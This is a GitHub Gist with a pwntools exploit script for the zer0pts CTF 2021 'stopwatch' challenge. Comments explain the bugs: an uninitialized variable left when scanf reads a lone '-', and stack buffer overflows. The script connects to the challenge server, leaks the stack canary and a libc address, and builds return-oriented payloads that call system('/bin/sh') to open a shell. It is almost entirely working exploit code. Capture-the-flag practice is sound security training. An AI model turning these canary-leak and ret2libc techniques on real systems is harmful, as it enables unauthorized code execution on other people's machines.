Last active
March 7, 2021 12:03
-
-
Save farazsth98/79d60a5af3a5b3c680a6e106c81364df to your computer and use it in GitHub Desktop.
zer0pts CTF 2021 - stopwatch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
elf = ELF("./chall") | |
libc = ELF("./libc.so.6") | |
#p = process("./chall", env = {"LD_PRELOAD": "./libc.so.6"}) | |
p = remote("pwn.ctf.zer0pts.com", 9002) | |
format_str = 0x602100 | |
printf = elf.plt["printf"] | |
start = 0x0000000000400760 | |
pop_rdi = 0x0000000000400e93 | |
def double_to_hex(val): | |
return int.from_bytes(struct.pack("d", val), "little") | |
''' | |
Bug 1 - uninitialized variable usage in play_game(). |goal| can | |
be uninitialized if you enter `-` (which is a valid number | |
character for %lf). |delta| can be uninitialized if you | |
get the time perfectly equal. | |
Bug 2 - Buffer overflows in ask_again() and ask_name() | |
''' | |
# Put format string in name for leak later | |
p.sendlineafter("> ", "%3$p."*(0x88//5)) | |
# Force alloca to move RSP up in such a way that later on, the |goal| variable | |
# in |play_game()| will be at the same stack location as a stack canary from | |
# another function | |
p.sendlineafter("> ", "16") | |
# In ask_time, the program uses scanf with %lf to read in the value for |goal|, | |
# we can pass in a "-". This is a valid "number" character for scanf, but | |
# because there is no number, scanf will not save anything at the memory | |
# address (but it will also not error out!). So at the end we will have |goal| | |
# remain uninitialized, and since it's overlapped with a canary, we can leak it | |
p.sendlineafter(": ", "-\n") | |
# We are told what the goal is (in float), so we just get the canary leaked | |
# here. Note that this doesn't always work. Particularly, it seems %lf has a | |
# hard time leaking some specific hex values (idk why and I didn't bother | |
# checking), so u might have to run the exploit a few times. | |
canary = double_to_hex(float(p.recvuntil("possible!\n").split(b" ")[6])) | |
log.info("Stack canary: " + hex(canary)) | |
# We don't care about the time difference or anything | |
p.sendafter(".\n", "\n\n") | |
# There is a stack buffer overflow in |ask_again()| | |
# This time, since we have a format string stored in the global name variable, | |
# we just call |printf()| on it to get a leak. Note that the name variable | |
# starts at 0x6020a0, and 0x20 is a badchar for scanf. However, the variable | |
# is big enough to the point where it still continues to exist at 0x602100, so | |
# we just use that address for our leak (see |format_str| above in the script). | |
# | |
# Also, main's address has a badchar in it (0x0b), so we have to jump to start | |
payload = b"A"*24 | |
payload += p64(canary) | |
payload += b"B"*8 | |
payload += p64(pop_rdi) | |
payload += p64(format_str) # Our format string is here | |
payload += p64(pop_rdi+1) # Align the stack | |
payload += p64(printf) | |
payload += p64(start) | |
p.sendlineafter("n) ", payload) | |
# Get leak from the printf | |
p.recv(4) | |
leak = int(p.recvuntil(".")[:-1], 16) | |
libc.address = leak - 0x3ec560 | |
system = libc.sym["system"] | |
bin_sh = next(libc.search(b"/bin/sh")) | |
log.info("Libc leak: " + hex(leak)) | |
# |ask_name()| has the same buffer overflow as |ask_again()|, just get shell | |
payload = b"A"*136 | |
payload += p64(canary) | |
payload += b"B"*8 | |
payload += p64(pop_rdi) | |
payload += p64(bin_sh) | |
payload += p64(pop_rdi+1) | |
payload += p64(system) | |
p.sendlineafter("> ", payload) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment